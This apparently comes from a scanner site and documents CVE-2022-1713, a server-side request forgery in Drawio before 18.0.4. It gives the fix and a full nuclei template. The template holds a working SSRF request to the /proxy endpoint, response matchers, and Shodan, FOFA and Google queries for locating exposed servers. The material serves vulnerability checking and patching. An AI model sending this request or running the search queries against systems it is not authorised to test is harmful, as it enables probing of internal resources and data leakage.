Drawio <18.0.4 - Server-Side Request Forgery

highseverity

7.5CVSS score

9.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.

Impact

Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.

Fix

Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability.

How to confirm it

Send: GET /proxy?url=http%3a//0:8080/
Positive when: contains "<title>Flowchart Maker & Online Diagram Software</title>" AND contains in header "application/octet-stream"

Run it with nuclei: nuclei -id CVE-2022-1713 -u <target>

The full check

id: CVE-2022-1713

info:
  name: Drawio <18.0.4 - Server-Side Request Forgery
  author: pikpikcu
  severity: high
  description: |
    Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
  remediation: |
    Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability.
  reference:
    - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11
    - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1713
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1713
    cwe-id: CWE-918
    epss-score: 0.09581
    epss-percentile: 0.95512
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: diagrams
    product: drawio
    shodan-query:
      - http.title:"Flowchart Maker"
      - http.title:"flowchart maker"
    fofa-query: title="flowchart maker"
    google-query: intitle:"flowchart maker"
  tags: cve,cve2022,drawio,ssrf,oss,huntr,diagrams,vuln

http:
  - raw:
      - |
        GET /proxy?url=http%3a//0:8080/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Flowchart Maker & Online Diagram Software</title>"

      - type: word
        part: header
        words:
          - "application/octet-stream"

References

Use this check only on systems you are authorised to test. Where the data comes from